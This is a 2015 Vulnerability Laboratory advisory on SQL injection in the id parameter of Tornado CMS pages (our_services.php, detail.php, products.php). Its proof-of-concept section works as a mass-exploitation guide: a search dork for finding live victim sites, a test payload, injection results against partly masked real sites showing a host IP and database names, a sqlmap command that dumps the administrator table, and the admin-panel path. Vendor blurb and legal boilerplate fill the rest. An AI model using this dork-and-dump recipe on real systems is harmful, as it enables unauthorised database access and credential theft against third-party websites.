Document Title: =============== TORNADO Computer Trading CMS - SQL Injection Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1489 Release Date: ============= 2015-05-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1489 Common Vulnerability Scoring System: ==================================== 7.4 Product & Service Introduction: =============================== Tornado Computer Trading (L.L.C.) is a Web Design and Web Development Dubai firm providing Web Solutions since 2004 based at Dubai-United Arab Emirates. We are specialized in cutting edge website with style, graphic design, interactive flash animation, high end multimedia, logo design, robust database custom web applications/e-commerce, web development Dubai, SEO (Search Engine Optimization), domain registration, hosting service and other web development services in UAE. We design, organize and manage web sites of the highest quality for forward-thinking clients that demand a return on their internet solutions investment. (Copy of the vendor Homepage: http://www.tornado.ae/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a remote sql injection web vulnerability in the official TORNADO CMS Computer Trading (UAE) in 2015Q1. Vulnerability Disclosure Timeline: ================================== 2015-05-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Tornado Computer Trading (L.L.C.) Product: Tornado - Content Management System 2015 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple remote sql injection vulnerabilities has been discovered in the offical TORNADO Computer Trading UAE Content Management System. The vulnerability allows remote attackers to execute own sql commands to compromise the web-applicaation or database management system. The vulnerabilities are located in the id value of the `our_services.php`,`detail.php` and `products.php` files. Remote attackers are able to execute own sql commands by manipulation of the GET method request with the vulnerable id value. The request method to execute is GET and the issue is located on the application-side in the code line. The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.3. Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable File(s): [+] our_services.php [+] detail.php [+] products.php Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Dork(s): intext:"Website Designed & Developed By: Tornado" +inurl:/.php?id= www.site.com/anyinfectedfile.php?id=[]' - You have an error in your SQL syntax ..... - # Demo Sites: http://www.xxxxxx.ae/our_services.php?id=2%27 http://www.xxxxxx.ae/detail.php?id=4%27 http://www.xxxxxx.ae/products.php?category_id=6%27 - # Demo Injections: Target: http://www.xxxxx.ae/our_services.php?id=2 Host IP: 88.198.59.226 Web Server: Apache Powered-by: PHP/5.4.37 DB Server: MySQL >=5 Target Vulnerable :D Current DB: durablew_durablework ----------------------------------------------------------------------------- Target: http://www.xxxxxx.ae/detail.php?id=4 Host IP: 88.198.59.226 Web Server: Apache Powered-by: PHP/5.4.37 DB Server: MySQL >=5 Target Vulnerable :D Current DB: adsaae_adsa ----------------------------------------------------------------------------- Target: http://www.xxxxxxx.ae/products.php?category_id=6 Host IP: 88.198.59.226 Web Server: Apache Powered-by: PHP/5.4.37 DB Server: MySQL >=5 Target Vulnerable :D Current DB: panecs_pan-emirates ------------------------------------------------------------------------------ #Auto Injection using SQLMAP +use SQLMAP to find the( DB NAME ) then use this command to get admin username and password " sqlmap -u http://www.site.com/anyinfectedfile.php?id=[] --dump -D [DB NAME] -T administrator " #Admin panel www.site.com/_admin/ Examples: http://www.xxxxxx.ae/_admin/ http://www.xxxxxx.ae/_admin/ http://www.xxxxxx.ae/_admin/ Security Risk: ============== The security risk of the remote sql injection web vulnerability in the tornado cms is estimated as high. (CVSS 7.3) Credits & Authors: ================== kjfido - To mrdanger_3 and to all my old friends +ALL Muslims Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt